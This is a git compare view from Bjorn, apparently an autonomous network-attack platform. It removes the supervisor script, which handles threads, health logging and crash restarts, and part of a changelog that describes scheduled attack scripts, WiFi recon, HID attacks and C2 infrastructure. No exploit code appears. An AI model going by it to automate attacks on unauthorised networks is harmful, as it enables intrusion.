Compare commits
21 Commits
ai
..
e9c9266d5a
| Author | SHA1 | Date | |
|---|---|---|---|
| e9c9266d5a | |||
| 9a93e4c63c | |||
| 3f27da4a1e | |||
| 124afb9be9 | |||
| 686263ca6a | |||
| b94dacc563 | |||
| 151483c703 | |||
| 695cf6671b | |||
| 57d4b5b540 | |||
| c52bb9164f | |||
| 10d71122bc | |||
| daed1faf14 | |||
| 55ddd0680e | |||
| 816a624a37 | |||
| 8c9d2eedeb | |||
| 32deb0752e | |||
| 3d56944550 | |||
| d984d56552 | |||
| cd7f1e737a | |||
| cb49d3cb8d | |||
| 66a6e4a5c1 |
@@ -0,0 +1,4 @@
|
||||
Contact: https://github.com/infinition/Bjorn/issues
|
||||
Expires: 2027-01-01T00:00:00.000Z
|
||||
Preferred-Languages: en, fr
|
||||
Policy: https://github.com/infinition/Bjorn/blob/wiki/SECURITY.md
|
||||
@@ -1,729 +0,0 @@
|
||||
"""Bjorn.py - Main supervisor: thread lifecycle, health monitoring, and crash protection."""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import signal
|
||||
import subprocess
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
import gc
|
||||
import tracemalloc
|
||||
import atexit
|
||||
|
||||
from comment import Commentaireia
|
||||
from display import Display, handle_exit_display
|
||||
from init_shared import shared_data
|
||||
from logger import Logger
|
||||
from orchestrator import Orchestrator
|
||||
from runtime_state_updater import RuntimeStateUpdater
|
||||
from webapp import web_thread
|
||||
|
||||
logger = Logger(name="Bjorn.py", level=logging.DEBUG)
|
||||
_shutdown_lock = threading.Lock()
|
||||
_shutdown_started = False
|
||||
_instance_lock_fd = None
|
||||
_instance_lock_path = "/tmp/bjorn_160226.lock"
|
||||
|
||||
try:
|
||||
import fcntl
|
||||
except Exception:
|
||||
fcntl = None
|
||||
|
||||
|
||||
def _release_instance_lock():
|
||||
global _instance_lock_fd
|
||||
if _instance_lock_fd is None:
|
||||
return
|
||||
try:
|
||||
if fcntl is not None:
|
||||
try:
|
||||
fcntl.flock(_instance_lock_fd.fileno(), fcntl.LOCK_UN)
|
||||
except Exception:
|
||||
pass
|
||||
_instance_lock_fd.close()
|
||||
except Exception:
|
||||
pass
|
||||
_instance_lock_fd = None
|
||||
|
||||
|
||||
def _acquire_instance_lock() -> bool:
|
||||
"""Ensure only one Bjorn_160226 process can run at once."""
|
||||
global _instance_lock_fd
|
||||
if _instance_lock_fd is not None:
|
||||
return True
|
||||
|
||||
try:
|
||||
fd = open(_instance_lock_path, "a+", encoding="utf-8")
|
||||
except Exception as exc:
|
||||
logger.error(f"Unable to open instance lock file {_instance_lock_path}: {exc}")
|
||||
return True
|
||||
|
||||
if fcntl is None:
|
||||
_instance_lock_fd = fd
|
||||
return True
|
||||
|
||||
try:
|
||||
fcntl.flock(fd.fileno(), fcntl.LOCK_EX | fcntl.LOCK_NB)
|
||||
fd.seek(0)
|
||||
fd.truncate()
|
||||
fd.write(str(os.getpid()))
|
||||
fd.flush()
|
||||
except OSError:
|
||||
try:
|
||||
fd.seek(0)
|
||||
owner_pid = fd.read().strip() or "unknown"
|
||||
except Exception:
|
||||
owner_pid = "unknown"
|
||||
logger.critical(f"Another Bjorn instance is already running (pid={owner_pid}).")
|
||||
try:
|
||||
fd.close()
|
||||
except Exception:
|
||||
pass
|
||||
return False
|
||||
|
||||
_instance_lock_fd = fd
|
||||
return True
|
||||
|
||||
|
||||
class HealthMonitor(threading.Thread):
|
||||
"""Periodic runtime health logger (threads/fd/rss/queue/epd metrics)."""
|
||||
|
||||
def __init__(self, shared_data_, interval_s: int = 60):
|
||||
super().__init__(daemon=True, name="HealthMonitor")
|
||||
self.shared_data = shared_data_
|
||||
self.interval_s = max(10, int(interval_s))
|
||||
self._stop_event = threading.Event()
|
||||
self._tm_prev_snapshot = None
|
||||
self._tm_last_report = 0.0
|
||||
|
||||
def stop(self):
|
||||
self._stop_event.set()
|
||||
|
||||
def _fd_count(self) -> int:
|
||||
try:
|
||||
return len(os.listdir("/proc/self/fd"))
|
||||
except Exception:
|
||||
return -1
|
||||
|
||||
def _rss_kb(self) -> int:
|
||||
try:
|
||||
with open("/proc/self/status", "r", encoding="utf-8") as fh:
|
||||
for line in fh:
|
||||
if line.startswith("VmRSS:"):
|
||||
parts = line.split()
|
||||
if len(parts) >= 2:
|
||||
return int(parts[1])
|
||||
except Exception:
|
||||
pass
|
||||
return -1
|
||||
|
||||
def _queue_counts(self):
|
||||
pending = running = scheduled = -1
|
||||
try:
|
||||
# Using query_one safe method from database
|
||||
row = self.shared_data.db.query_one(
|
||||
"""
|
||||
SELECT
|
||||
SUM(CASE WHEN status='pending' THEN 1 ELSE 0 END) AS pending,
|
||||
SUM(CASE WHEN status='running' THEN 1 ELSE 0 END) AS running,
|
||||
SUM(CASE WHEN status='scheduled' THEN 1 ELSE 0 END) AS scheduled
|
||||
FROM action_queue
|
||||
"""
|
||||
)
|
||||
if row:
|
||||
pending = int(row.get("pending") or 0)
|
||||
running = int(row.get("running") or 0)
|
||||
scheduled = int(row.get("scheduled") or 0)
|
||||
except Exception as exc:
|
||||
logger.error_throttled(
|
||||
f"Health monitor queue count query failed: {exc}",
|
||||
key="health_queue_counts",
|
||||
interval_s=120,
|
||||
)
|
||||
return pending, running, scheduled
|
||||
|
||||
def run(self):
|
||||
while not self._stop_event.wait(self.interval_s):
|
||||
try:
|
||||
threads = threading.enumerate()
|
||||
thread_count = len(threads)
|
||||
top_threads = ",".join(t.name for t in threads[:8])
|
||||
fd_count = self._fd_count()
|
||||
rss_kb = self._rss_kb()
|
||||
pending, running, scheduled = self._queue_counts()
|
||||
|
||||
# Lock to safely read shared metrics without race conditions
|
||||
with self.shared_data.health_lock:
|
||||
display_metrics = dict(getattr(self.shared_data, "display_runtime_metrics", {}) or {})
|
||||
|
||||
epd_enabled = int(display_metrics.get("epd_enabled", 0))
|
||||
epd_failures = int(display_metrics.get("failed_updates", 0))
|
||||
epd_reinit = int(display_metrics.get("reinit_attempts", 0))
|
||||
epd_headless = int(display_metrics.get("headless", 0))
|
||||
epd_last_success = display_metrics.get("last_success_epoch", 0)
|
||||
|
||||
logger.info(
|
||||
"health "
|
||||
f"thread_count={thread_count} "
|
||||
f"rss_kb={rss_kb} "
|
||||
f"queue_pending={pending} "
|
||||
f"epd_failures={epd_failures} "
|
||||
f"epd_reinit={epd_reinit} "
|
||||
)
|
||||
|
||||
# Optional: tracemalloc report (only if enabled via PYTHONTRACEMALLOC or tracemalloc.start()).
|
||||
try:
|
||||
if tracemalloc.is_tracing():
|
||||
now = time.monotonic()
|
||||
tm_interval = float(self.shared_data.config.get("tracemalloc_report_interval_s", 300) or 300)
|
||||
if tm_interval > 0 and (now - self._tm_last_report) >= tm_interval:
|
||||
self._tm_last_report = now
|
||||
top_n = int(self.shared_data.config.get("tracemalloc_top_n", 10) or 10)
|
||||
top_n = max(3, min(top_n, 25))
|
||||
|
||||
snap = tracemalloc.take_snapshot()
|
||||
if self._tm_prev_snapshot is not None:
|
||||
stats = snap.compare_to(self._tm_prev_snapshot, "lineno")[:top_n]
|
||||
logger.info(f"mem_top (tracemalloc diff, top_n={top_n})")
|
||||
for st in stats:
|
||||
logger.info(f"mem_top {st}")
|
||||
else:
|
||||
stats = snap.statistics("lineno")[:top_n]
|
||||
logger.info(f"mem_top (tracemalloc, top_n={top_n})")
|
||||
for st in stats:
|
||||
logger.info(f"mem_top {st}")
|
||||
self._tm_prev_snapshot = snap
|
||||
except Exception as exc:
|
||||
logger.error_throttled(
|
||||
f"Health monitor tracemalloc failure: {exc}",
|
||||
key="health_tracemalloc_error",
|
||||
interval_s=300,
|
||||
)
|
||||
except Exception as exc:
|
||||
logger.error_throttled(
|
||||
f"Health monitor loop failure: {exc}",
|
||||
key="health_loop_error",
|
||||
interval_s=120,
|
||||
)
|
||||
|
||||
|
||||
class Bjorn:
|
||||
"""Main class for Bjorn. Manages orchestration lifecycle."""
|
||||
|
||||
def __init__(self, shared_data_):
|
||||
self.shared_data = shared_data_
|
||||
self.commentaire_ia = Commentaireia()
|
||||
self.orchestrator_thread = None
|
||||
self.orchestrator = None
|
||||
self.network_connected = False
|
||||
self.wifi_connected = False
|
||||
self.previous_network_connected = None
|
||||
self._orch_lock = threading.Lock()
|
||||
self._last_net_check = 0 # Throttling for network scan
|
||||
self._last_orch_stop_attempt = 0.0
|
||||
|
||||
def run(self):
|
||||
"""Main loop for Bjorn. Waits for network and starts/stops Orchestrator based on mode."""
|
||||
if hasattr(self.shared_data, "startup_delay") and self.shared_data.startup_delay > 0:
|
||||
logger.info(f"Waiting for startup delay: {self.shared_data.startup_delay} seconds")
|
||||
time.sleep(self.shared_data.startup_delay)
|
||||
|
||||
backoff_s = 1.0
|
||||
while not self.shared_data.should_exit:
|
||||
try:
|
||||
# Manual/Bifrost mode must stop orchestration.
|
||||
# BIFROST: WiFi is in monitor mode, no network available for scans.
|
||||
current_mode = self.shared_data.operation_mode
|
||||
if current_mode in ("MANUAL", "BIFROST", "LOKI"):
|
||||
# Avoid spamming stop requests if already stopped.
|
||||
if self.orchestrator_thread is not None and self.orchestrator_thread.is_alive():
|
||||
self.stop_orchestrator()
|
||||
else:
|
||||
self.check_and_start_orchestrator()
|
||||
|
||||
time.sleep(5)
|
||||
backoff_s = 1.0 # Reset backoff on success
|
||||
|
||||
except Exception as exc:
|
||||
logger.error(f"Bjorn main loop error: {exc}")
|
||||
logger.error_throttled(
|
||||
"Bjorn main loop entering backoff due to repeated errors",
|
||||
key="bjorn_main_loop_backoff",
|
||||
interval_s=60,
|
||||
)
|
||||
time.sleep(backoff_s)
|
||||
backoff_s = min(backoff_s * 2.0, 30.0)
|
||||
|
||||
def check_and_start_orchestrator(self):
|
||||
if self.shared_data.operation_mode in ("MANUAL", "BIFROST", "LOKI"):
|
||||
return
|
||||
if self.is_network_connected():
|
||||
self.wifi_connected = True
|
||||
if self.orchestrator_thread is None or not self.orchestrator_thread.is_alive():
|
||||
self.start_orchestrator()
|
||||
else:
|
||||
self.wifi_connected = False
|
||||
logger.info_throttled(
|
||||
"Waiting for network connection to start Orchestrator...",
|
||||
key="bjorn_wait_network",
|
||||
interval_s=30,
|
||||
)
|
||||
|
||||
def start_orchestrator(self):
|
||||
with self._orch_lock:
|
||||
# Re-check network inside lock
|
||||
if not self.network_connected:
|
||||
return
|
||||
if self.orchestrator_thread is not None and self.orchestrator_thread.is_alive():
|
||||
logger.debug("Orchestrator thread is already running.")
|
||||
return
|
||||
|
||||
logger.info("Starting Orchestrator thread...")
|
||||
self.shared_data.orchestrator_should_exit = False
|
||||
|
||||
self.orchestrator = Orchestrator()
|
||||
self.orchestrator_thread = threading.Thread(
|
||||
target=self.orchestrator.run,
|
||||
daemon=True,
|
||||
name="OrchestratorMain",
|
||||
)
|
||||
self.orchestrator_thread.start()
|
||||
logger.info("Orchestrator thread started.")
|
||||
|
||||
def stop_orchestrator(self):
|
||||
with self._orch_lock:
|
||||
thread = self.orchestrator_thread
|
||||
if thread is None or not thread.is_alive():
|
||||
self.orchestrator_thread = None
|
||||
self.orchestrator = None
|
||||
return
|
||||
|
||||
# Keep MANUAL sticky so supervisor does not auto-restart orchestration,
|
||||
# but only if the current mode isn't already handling it.
|
||||
# - MANUAL/BIFROST: already non-AUTO, no need to change
|
||||
# - AUTO: let it be - orchestrator will restart naturally (e.g. after Bifrost auto-disable)
|
||||
try:
|
||||
current = self.shared_data.operation_mode
|
||||
if current == "AI":
|
||||
self.shared_data.operation_mode = "MANUAL"
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
now = time.time()
|
||||
if now - self._last_orch_stop_attempt >= 10.0:
|
||||
logger.info("Stop requested: stopping Orchestrator")
|
||||
self._last_orch_stop_attempt = now
|
||||
self.shared_data.orchestrator_should_exit = True
|
||||
self.shared_data.queue_event.set() # Wake up thread
|
||||
thread.join(timeout=10.0)
|
||||
|
||||
if thread.is_alive():
|
||||
logger.warning_throttled(
|
||||
"Orchestrator thread did not stop gracefully",
|
||||
key="orch_stop_not_graceful",
|
||||
interval_s=20,
|
||||
)
|
||||
# Still reset status so UI doesn't stay stuck on the
|
||||
# last action while the thread finishes in the background.
|
||||
else:
|
||||
self.orchestrator_thread = None
|
||||
self.orchestrator = None
|
||||
|
||||
# Always reset display state regardless of whether join succeeded.
|
||||
self.shared_data.bjorn_orch_status = "IDLE"
|
||||
self.shared_data.bjorn_status_text = "IDLE"
|
||||
self.shared_data.bjorn_status_text2 = ""
|
||||
self.shared_data.action_target_ip = ""
|
||||
self.shared_data.active_action = None
|
||||
self.shared_data.update_status("IDLE", "")
|
||||
|
||||
def is_network_connected(self):
|
||||
"""Checks for network connectivity with throttling and low-CPU checks."""
|
||||
now = time.time()
|
||||
# Throttling: Do not scan more than once every 10 seconds
|
||||
if now - self._last_net_check < 10:
|
||||
return self.network_connected
|
||||
|
||||
self._last_net_check = now
|
||||
|
||||
def interface_has_ip(interface_name):
|
||||
try:
|
||||
# OPTIMIZATION: Check /sys/class/net first to avoid spawning subprocess if interface doesn't exist
|
||||
if not os.path.exists(f"/sys/class/net/{interface_name}"):
|
||||
return False
|
||||
|
||||
# Check for IP address
|
||||
result = subprocess.run(
|
||||
["ip", "-4", "addr", "show", interface_name],
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
text=True,
|
||||
timeout=2,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
return False
|
||||
return "inet " in result.stdout
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
eth_connected = interface_has_ip("eth0")
|
||||
wifi_connected = interface_has_ip("wlan0")
|
||||
|
||||
self.network_connected = eth_connected or wifi_connected
|
||||
|
||||
if self.network_connected != self.previous_network_connected:
|
||||
if self.network_connected:
|
||||
logger.info(f"Network status changed: Connected (eth0={eth_connected}, wlan0={wifi_connected})")
|
||||
else:
|
||||
logger.warning("Network status changed: Connection lost")
|
||||
self.previous_network_connected = self.network_connected
|
||||
|
||||
return self.network_connected
|
||||
|
||||
@staticmethod
|
||||
def start_display(old_display=None):
|
||||
# Ensure the previous Display's controller is fully stopped to release frames
|
||||
if old_display is not None:
|
||||
try:
|
||||
old_display.display_controller.stop(timeout=3.0)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
display = Display(shared_data)
|
||||
display_thread = threading.Thread(
|
||||
target=display.run,
|
||||
daemon=True,
|
||||
name="DisplayMain",
|
||||
)
|
||||
display_thread.start()
|
||||
return display_thread, display
|
||||
|
||||
|
||||
def _request_shutdown():
|
||||
"""Signals all threads to stop."""
|
||||
shared_data.should_exit = True
|
||||
shared_data.orchestrator_should_exit = True
|
||||
shared_data.display_should_exit = True
|
||||
shared_data.webapp_should_exit = True
|
||||
shared_data.queue_event.set()
|
||||
|
||||
|
||||
def handle_exit(
|
||||
sig,
|
||||
frame,
|
||||
display_thread,
|
||||
bjorn_thread,
|
||||
web_thread_obj,
|
||||
health_thread=None,
|
||||
runtime_state_thread=None,
|
||||
from_signal=False,
|
||||
):
|
||||
global _shutdown_started
|
||||
|
||||
with _shutdown_lock:
|
||||
if _shutdown_started:
|
||||
if from_signal:
|
||||
logger.warning("Forcing exit (SIGINT/SIGTERM received twice)")
|
||||
os._exit(130)
|
||||
return
|
||||
_shutdown_started = True
|
||||
|
||||
logger.info(f"Shutdown signal received: {sig}")
|
||||
_request_shutdown()
|
||||
|
||||
# 1. Stop Display (handles EPD cleanup)
|
||||
try:
|
||||
handle_exit_display(sig, frame, display_thread)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 2. Stop Health Monitor
|
||||
try:
|
||||
if health_thread and hasattr(health_thread, "stop"):
|
||||
health_thread.stop()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 2b. Stop Runtime State Updater
|
||||
try:
|
||||
if runtime_state_thread and hasattr(runtime_state_thread, "stop"):
|
||||
runtime_state_thread.stop()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 2c. Stop Sentinel Watchdog
|
||||
try:
|
||||
engine = getattr(shared_data, 'sentinel_engine', None)
|
||||
if engine and hasattr(engine, 'stop'):
|
||||
engine.stop()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 2d. Stop Bifrost Engine
|
||||
try:
|
||||
engine = getattr(shared_data, 'bifrost_engine', None)
|
||||
if engine and hasattr(engine, 'stop'):
|
||||
engine.stop()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 2e. Stop Plugin Manager
|
||||
try:
|
||||
mgr = getattr(shared_data, 'plugin_manager', None)
|
||||
if mgr and hasattr(mgr, 'stop_all'):
|
||||
mgr.stop_all()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 3. Stop Web Server
|
||||
try:
|
||||
if web_thread_obj and hasattr(web_thread_obj, "shutdown"):
|
||||
web_thread_obj.shutdown()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 4. Join all threads
|
||||
for thread in (display_thread, bjorn_thread, web_thread_obj, health_thread, runtime_state_thread):
|
||||
try:
|
||||
if thread and thread.is_alive():
|
||||
thread.join(timeout=5.0)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 5. Close Database (Prevent corruption)
|
||||
try:
|
||||
if hasattr(shared_data, "db") and hasattr(shared_data.db, "close"):
|
||||
shared_data.db.close()
|
||||
except Exception as exc:
|
||||
logger.error(f"Database shutdown error: {exc}")
|
||||
|
||||
logger.info("Bjorn stopped. Clean exit.")
|
||||
_release_instance_lock()
|
||||
if from_signal:
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
def _install_thread_excepthook():
|
||||
def _hook(args):
|
||||
logger.error(f"Unhandled thread exception: {args.thread.name} - {args.exc_type.__name__}: {args.exc_value}")
|
||||
# We don't force shutdown here to avoid killing the app on minor thread glitches,
|
||||
# unless it's critical. The Crash Shield will handle restarts.
|
||||
threading.excepthook = _hook
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
if not _acquire_instance_lock():
|
||||
sys.exit(1)
|
||||
atexit.register(_release_instance_lock)
|
||||
_install_thread_excepthook()
|
||||
|
||||
display_thread = None
|
||||
display_instance = None
|
||||
bjorn_thread = None
|
||||
health_thread = None
|
||||
runtime_state_thread = None
|
||||
last_gc_time = time.time()
|
||||
|
||||
try:
|
||||
logger.info("Bjorn Startup: Loading config...")
|
||||
shared_data.load_config()
|
||||
|
||||
logger.info("Starting Runtime State Updater...")
|
||||
runtime_state_thread = RuntimeStateUpdater(shared_data)
|
||||
runtime_state_thread.start()
|
||||
|
||||
logger.info("Starting Display...")
|
||||
shared_data.display_should_exit = False
|
||||
display_thread, display_instance = Bjorn.start_display()
|
||||
|
||||
logger.info("Starting Bjorn Core...")
|
||||
bjorn = Bjorn(shared_data)
|
||||
shared_data.bjorn_instance = bjorn
|
||||
bjorn_thread = threading.Thread(target=bjorn.run, daemon=True, name="BjornMain")
|
||||
bjorn_thread.start()
|
||||
|
||||
if shared_data.config.get("websrv", False):
|
||||
logger.info("Starting Web Server...")
|
||||
if not web_thread.is_alive():
|
||||
web_thread.start()
|
||||
|
||||
health_interval = int(shared_data.config.get("health_log_interval", 60))
|
||||
health_thread = HealthMonitor(shared_data, interval_s=health_interval)
|
||||
health_thread.start()
|
||||
|
||||
# Sentinel watchdog - start if enabled in config
|
||||
try:
|
||||
from sentinel import SentinelEngine
|
||||
sentinel_engine = SentinelEngine(shared_data)
|
||||
shared_data.sentinel_engine = sentinel_engine
|
||||
if shared_data.config.get("sentinel_enabled", False):
|
||||
sentinel_engine.start()
|
||||
logger.info("Sentinel watchdog started")
|
||||
else:
|
||||
logger.info("Sentinel watchdog loaded (disabled)")
|
||||
except Exception as e:
|
||||
logger.warning("Sentinel init skipped: %s", e)
|
||||
|
||||
# Bifrost engine - start if enabled in config
|
||||
try:
|
||||
from bifrost import BifrostEngine
|
||||
bifrost_engine = BifrostEngine(shared_data)
|
||||
shared_data.bifrost_engine = bifrost_engine
|
||||
if shared_data.config.get("bifrost_enabled", False):
|
||||
bifrost_engine.start()
|
||||
logger.info("Bifrost engine started")
|
||||
else:
|
||||
logger.info("Bifrost engine loaded (disabled)")
|
||||
except Exception as e:
|
||||
logger.warning("Bifrost init skipped: %s", e)
|
||||
|
||||
# Loki engine - start if enabled in config
|
||||
try:
|
||||
from loki import LokiEngine
|
||||
loki_engine = LokiEngine(shared_data)
|
||||
shared_data.loki_engine = loki_engine
|
||||
if shared_data.config.get("loki_enabled", False):
|
||||
loki_engine.start()
|
||||
logger.info("Loki engine started")
|
||||
else:
|
||||
logger.info("Loki engine loaded (disabled)")
|
||||
except Exception as e:
|
||||
logger.warning("Loki init skipped: %s", e)
|
||||
|
||||
# LLM Bridge - warm up singleton (starts LaRuche mDNS discovery if enabled)
|
||||
try:
|
||||
from llm_bridge import LLMBridge
|
||||
LLMBridge() # Initialise singleton, kicks off background discovery
|
||||
logger.info("LLM Bridge initialised")
|
||||
except Exception as e:
|
||||
logger.warning("LLM Bridge init skipped: %s", e)
|
||||
|
||||
# MCP Server - start if enabled in config
|
||||
try:
|
||||
import mcp_server
|
||||
if shared_data.config.get("mcp_enabled", False):
|
||||
mcp_server.start()
|
||||
logger.info("MCP server started")
|
||||
else:
|
||||
logger.info("MCP server loaded (disabled - enable via Settings)")
|
||||
except Exception as e:
|
||||
logger.warning("MCP server init skipped: %s", e)
|
||||
|
||||
# Plugin Manager - discover and load enabled plugins
|
||||
try:
|
||||
from plugin_manager import PluginManager
|
||||
plugin_manager = PluginManager(shared_data)
|
||||
shared_data.plugin_manager = plugin_manager
|
||||
plugin_manager.load_all()
|
||||
plugin_manager.install_db_hooks()
|
||||
logger.info(f"Plugin manager started ({len(plugin_manager._instances)} plugins loaded)")
|
||||
except Exception as e:
|
||||
logger.warning("Plugin manager init skipped: %s", e)
|
||||
|
||||
# Signal Handlers
|
||||
exit_handler = lambda s, f: handle_exit(
|
||||
s,
|
||||
f,
|
||||
display_thread,
|
||||
bjorn_thread,
|
||||
web_thread,
|
||||
health_thread,
|
||||
runtime_state_thread,
|
||||
True,
|
||||
)
|
||||
signal.signal(signal.SIGINT, exit_handler)
|
||||
signal.signal(signal.SIGTERM, exit_handler)
|
||||
|
||||
# --- SUPERVISOR LOOP (Crash Shield) ---
|
||||
restart_times = []
|
||||
max_restarts = 5
|
||||
restart_window_s = 300
|
||||
|
||||
logger.info("Bjorn Supervisor running.")
|
||||
|
||||
while not shared_data.should_exit:
|
||||
time.sleep(2) # CPU Friendly polling
|
||||
now = time.time()
|
||||
|
||||
# --- OPTIMIZATION: Periodic Garbage Collection ---
|
||||
# Forces cleanup of circular references and free RAM every 2 mins
|
||||
if now - last_gc_time > 120:
|
||||
gc.collect()
|
||||
last_gc_time = now
|
||||
logger.debug("System: Forced Garbage Collection executed.")
|
||||
|
||||
# --- CRASH SHIELD: Bjorn Thread ---
|
||||
if bjorn_thread and not bjorn_thread.is_alive() and not shared_data.should_exit:
|
||||
restart_times = [t for t in restart_times if (now - t) <= restart_window_s]
|
||||
restart_times.append(now)
|
||||
|
||||
if len(restart_times) <= max_restarts:
|
||||
logger.warning("Crash Shield: Restarting Bjorn Main Thread")
|
||||
bjorn_thread = threading.Thread(target=bjorn.run, daemon=True, name="BjornMain")
|
||||
bjorn_thread.start()
|
||||
else:
|
||||
logger.critical("Crash Shield: Bjorn exceeded restart budget. Shutting down.")
|
||||
_request_shutdown()
|
||||
break
|
||||
|
||||
# --- CRASH SHIELD: Display Thread ---
|
||||
if display_thread and not display_thread.is_alive() and not shared_data.should_exit:
|
||||
restart_times = [t for t in restart_times if (now - t) <= restart_window_s]
|
||||
restart_times.append(now)
|
||||
if len(restart_times) <= max_restarts:
|
||||
logger.warning("Crash Shield: Restarting Display Thread")
|
||||
display_thread, display_instance = Bjorn.start_display(old_display=display_instance)
|
||||
else:
|
||||
logger.critical("Crash Shield: Display exceeded restart budget. Shutting down.")
|
||||
_request_shutdown()
|
||||
break
|
||||
|
||||
# --- CRASH SHIELD: Runtime State Updater ---
|
||||
if runtime_state_thread and not runtime_state_thread.is_alive() and not shared_data.should_exit:
|
||||
restart_times = [t for t in restart_times if (now - t) <= restart_window_s]
|
||||
restart_times.append(now)
|
||||
if len(restart_times) <= max_restarts:
|
||||
logger.warning("Crash Shield: Restarting Runtime State Updater")
|
||||
runtime_state_thread = RuntimeStateUpdater(shared_data)
|
||||
runtime_state_thread.start()
|
||||
else:
|
||||
logger.critical("Crash Shield: Runtime State Updater exceeded restart budget. Shutting down.")
|
||||
_request_shutdown()
|
||||
break
|
||||
|
||||
# Exit cleanup
|
||||
if health_thread:
|
||||
health_thread.stop()
|
||||
if runtime_state_thread:
|
||||
runtime_state_thread.stop()
|
||||
|
||||
handle_exit(
|
||||
signal.SIGTERM,
|
||||
None,
|
||||
display_thread,
|
||||
bjorn_thread,
|
||||
web_thread,
|
||||
health_thread,
|
||||
runtime_state_thread,
|
||||
False,
|
||||
)
|
||||
|
||||
except Exception as exc:
|
||||
logger.critical(f"Critical bootstrap failure: {exc}")
|
||||
_request_shutdown()
|
||||
# Try to clean up anyway
|
||||
try:
|
||||
handle_exit(
|
||||
signal.SIGTERM,
|
||||
None,
|
||||
display_thread,
|
||||
bjorn_thread,
|
||||
web_thread,
|
||||
health_thread,
|
||||
runtime_state_thread,
|
||||
False,
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
sys.exit(1)
|
||||
@@ -1,490 +0,0 @@
|
||||
# BJORN — Changelog
|
||||
|
||||
> **From Viking Raider to Cyber Warlord.**
|
||||
> This release represents a complete transformation of Bjorn — from a \~8,200-line Python prototype into a **\~58,000-line Python + \~42,000-line frontend** autonomous cybersecurity platform with AI orchestration, WiFi recon, HID attacks, network watchdog, C2 infrastructure, and a full Single-Page Application dashboard.
|
||||
|
||||
---
|
||||
|
||||
## [2.1.0] — 2026-03-19
|
||||
|
||||
### Codebase Cleanup
|
||||
- All Python file headers standardized to `"""filename.py - Description."""` format (~120 files)
|
||||
- All French comments, docstrings, log/print strings, and error messages translated to English
|
||||
- Removed redundant/obvious comments, verbose 10-20 line header essays trimmed to 1-3 lines
|
||||
- Fixed encoding artifacts (garbled UTF-8 box-drawing chars in CSS)
|
||||
- Fixed `# webutils/` path typos in 3 web_utils files
|
||||
- Replaced LLM-style em dashes with plain hyphens across all .py files
|
||||
|
||||
### Custom Scripts System
|
||||
- **Custom scripts directory** (`actions/custom/`) for user-uploaded scripts, ignored by orchestrator
|
||||
- **Two script formats supported**: Bjorn-format (class + `execute()` + `shared_data`) and free Python scripts (plain `argparse`)
|
||||
- **Auto-detection** via AST parsing: scripts with `b_class` var use action_runner, others run as raw subprocess
|
||||
- **`b_args` support** for both formats: drives web UI controls (text, number, select, checkbox, slider)
|
||||
- **Upload/delete** via web UI with metadata extraction (no code exec during upload)
|
||||
- **Auto-registration**: scripts dropped in `actions/custom/` via SSH are detected on next API call
|
||||
- Two example templates: `example_bjorn_action.py` and `example_free_script.py`
|
||||
- Custom scripts appear in console-sse manual mode dropdown under `<optgroup>`
|
||||
|
||||
### Action Runner
|
||||
- **`action_runner.py`** - Generic subprocess wrapper that bootstraps `shared_data` for manual action execution
|
||||
- Supports `--ip`, `--port`, `--mac` + arbitrary `--key value` args injected as `shared_data` attributes
|
||||
- SIGTERM handler for graceful stop from the web UI
|
||||
- MAC auto-resolution from DB if not provided
|
||||
- Handles both `execute()` and `scan()` (global actions like NetworkScanner)
|
||||
|
||||
### Script Scheduler & Conditional Triggers
|
||||
- **`script_scheduler.py`** - Lightweight 30s-tick background daemon for automated script execution
|
||||
- **Recurring schedules**: run every N seconds (min 30s), persistent across reboots
|
||||
- **One-shot schedules**: fire at a specific datetime, auto-disable after
|
||||
- **Conditional triggers**: fire scripts when DB conditions are met (AND/OR block logic)
|
||||
- **8 condition types**: `action_result`, `hosts_with_port`, `hosts_alive`, `cred_found`, `has_vuln`, `db_count`, `time_after`, `time_before`
|
||||
- **Orchestrator hook**: triggers evaluated immediately when actions complete (not just on 30s tick)
|
||||
- **Concurrency limited** to 4 simultaneous scheduled scripts (Pi Zero friendly)
|
||||
- **Condition builder** (`web/js/core/condition-builder.js`) - Visual nested AND/OR block editor
|
||||
- Scheduler page extended with 3 tabs: Queue (existing kanban), Schedules, Triggers
|
||||
- Full CRUD UI for schedules and triggers with inline edit, toggle, delete, auto-refresh
|
||||
- "Test" button for dry-run condition evaluation
|
||||
|
||||
### Package Manager
|
||||
- **pip package management** for custom script dependencies
|
||||
- **SSE streaming** install progress (`pip install --break-system-packages`)
|
||||
- Packages tracked in DB (`custom_packages` table) - only recorded after successful install
|
||||
- Uninstall with DB cleanup
|
||||
- Package name validation (regex whitelist, no shell injection)
|
||||
- New "Packages" tab in Actions page sidebar
|
||||
|
||||
### New Database Modules
|
||||
- `db_utils/schedules.py` - Schedule and trigger persistence (CRUD, due queries, cooldown checks)
|
||||
- `db_utils/packages.py` - Custom package tracking
|
||||
|
||||
### New Web Endpoints
|
||||
- `/api/schedules/*` (list, create, update, delete, toggle) - 5 endpoints
|
||||
- `/api/triggers/*` (list, create, update, delete, toggle, test) - 6 endpoints
|
||||
- `/api/packages/*` (list, install SSE, uninstall) - 3 endpoints
|
||||
- `/upload_custom_script`, `/delete_custom_script` - Custom script management
|
||||
|
||||
### Resource & Memory Fixes
|
||||
- Script output buffer capped at 2000 lines (was unbounded)
|
||||
- Finished scripts dict auto-pruned (max 20 historical entries)
|
||||
- AST parse results cached by file mtime (no re-parsing on every API call)
|
||||
- Module imports replaced with AST extraction in `list_scripts()` (no more `sys.modules` pollution)
|
||||
- Custom scripts filesystem scan throttled to once per 30s
|
||||
- Scheduler daemon: event queue capped at 100, subprocess cleanup with `wait()` + `stdout.close()`
|
||||
